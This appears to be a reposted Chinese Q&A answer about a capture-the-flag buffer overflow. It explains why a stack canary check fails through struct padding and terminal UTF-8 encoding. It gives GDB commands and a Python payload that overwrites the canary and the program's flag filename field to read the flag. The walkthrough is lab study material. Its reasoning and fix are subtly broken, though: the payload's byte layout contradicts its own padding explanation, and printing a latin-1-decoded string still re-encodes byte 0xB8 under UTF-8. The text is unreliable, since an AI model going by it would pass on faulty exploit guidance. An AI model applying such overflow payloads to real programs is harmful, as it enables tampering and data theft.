带Canary保护的缓冲区溢出利用问题:Canary值异常原因排查
解决Canary校验失败的问题:结构体对齐与终端编码干扰
让我们一步步拆解你遇到的问题:
问题核心原因
你遇到的canary error主要来自两个容易忽略的点:结构体内存对齐和终端UTF-8编码的转码干扰。
1. 结构体的隐藏填充字节
先看你的结构体定义:
typedef struct { char flag_content[BUFSIZE]; // 1024字节(4的倍数,对齐没问题) char guess[47]; // 47字节,不是4的倍数 unsigned canary; // 4字节类型,要求起始地址是4的倍数 char flag_file[BUFSIZE]; // 1024字节 } st_t;
C编译器会为了满足成员的对齐要求,在guess和canary之间添加1字节的填充——因为1024 + 47 = 1071,1071不是4的倍数,编译器会补1字节让canary的起始地址变成1072(4的倍数)。
这意味着:
- 你输入的47个A刚好填满
guess数组 - 接下来的第一个字符(也就是你输入的
v)会被写入这个填充字节 - 之后的
¸IB会被写入canary的位置,但因为终端编码问题,¸被转码成了多字节,直接破坏了canary的原始值。
2. 终端UTF-8编码的干扰
你想输入的¸对应单字节0xB8,但大部分终端默认用UTF-8编码,而0xB8不是合法的UTF-8单字节字符,终端会自动把它转换成UTF-8的双字节序列0xC2 0xB8。这就导致你原本想写入4字节的canary值,实际写入了5字节,直接把canary的第一个字节改成了0xC2,最终canary变成0x4249b8c2(小端存储下,字节顺序是0xC2 0xB8 0x49 0x42),自然触发了校验失败。
解决方法
步骤1:确认结构体的实际布局(可选但推荐)
用GDB调试确认成员的偏移量,确保你知道填充字节的数量:
# 启动程序后,暂停在main函数 b main r # 打印结构体成员的偏移 p &st.guess - &st # 应该是1024 p &st.canary - &st # 应该是1072(1024+47+1) p &st.flag_file - &st # 应该是1076(1072+4)
步骤2:用脚本生成无编码干扰的Payload
直接在终端输入特殊字符会被转码,所以用Python生成包含原始字节的payload,通过管道输入给程序:
# 构造payload:47个A + 1字节填充(任意值,这里用\x00) + 小端序的canary值 + "flag.txt" payload = b'A' * 47 + b'\x00' + b'\x76\xB8\x49\x42' + b'flag.txt' # 用latin-1解码避免转码,end=''防止添加额外换行 print(payload.decode('latin-1'), end='')
然后运行程序时用管道输入:
python3 -c 'payload = b"A"*47 + b"\x00" + b"\x76\xB8\x49\x42" + b"flag.txt"; print(payload.decode("latin-1"), end="")' | ./mission1
这样就能精准控制每个字节的内容:
- 47个A填满
guess - 1字节填充不影响程序逻辑
\x76\xB8\x49\x42是0x4249b876的小端序字节,完美匹配原始canary值- 最后
flag.txt覆盖flag_file字段,成功读取真实flag。
内容的提问来源于stack exchange,提问作者Kordo
相关产品推荐
相关产品推荐

